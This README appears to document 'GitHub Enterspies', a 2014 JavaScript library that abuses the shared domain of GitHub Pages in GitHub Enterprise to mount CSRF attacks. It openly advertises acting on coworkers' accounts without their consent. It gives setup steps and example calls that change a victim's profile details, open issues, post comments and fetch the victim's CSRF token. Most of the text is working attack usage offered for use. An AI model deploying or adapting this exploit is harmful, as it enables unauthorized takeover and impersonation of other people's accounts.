GitHub Enterspies provides a JavaScript API for hijacking the accounts of GitHub Enterprise users.
GHE installations host GitHub Pages on the same domain as the primary GitHub application. This makes CSRF attacks possible. If your place of employment uses GitHub Enterprise, this library will let you post comments, open issues, modify repos and change the profile info of your coworkers without their knowledge or consent.
Include dist/ghe.js in an HTML page hosted on the gh-pages branch of a GHE repo. See the examples directory for examples.
The API mimics that of GitHub.js but no authentication is required. All methods return promises.
Change the name that is listed on the user's profile page.
GHE.user.setName('Brian Carroll');
Change the user's public email address.
GHE.user.setEmail('sup@whatevs.com');
Change the user's location.
GHE.user.setLocation('Baltimore');
Change the user's website.
GHE.user.setWebsite('http://whatevs.com');
Change the user's Gravatar email. This will change their profile photo.
GHE.user.setGravatar('someothergravataremailaddress@whatevs.com');
Create a new GitHub issue at the specified repository. Provide a title for the issue and some markdown.
GHE.repo('contolini/awesome-repo').createIssue({
title: 'CSRF party',
body: 'Creating issues without permission sure is **fun**!'
});
Post a new comment to a repo's specified issue. Provide the issue's number and some markdown.
GHE.repo('contolini/awesome-repo').postComment({
issueNum: 28,
body: 'I would just like to say that this issue is da best.'
});
More to come!
If you just want their CSRF token.
GHE.fetchToken();
npm install to install dependencies. Bundle with npm run browser.
The project is in the public domain within the United States, and copyright and related rights in the work worldwide are waived through the CC0 1.0 Universal public domain dedication.
All contributions to this project will be released under the CC0 dedication. By submitting a pull request, you are agreeing to comply with this waiver of copyright interest.
- 2014-12-11 0.1.0 Initial release.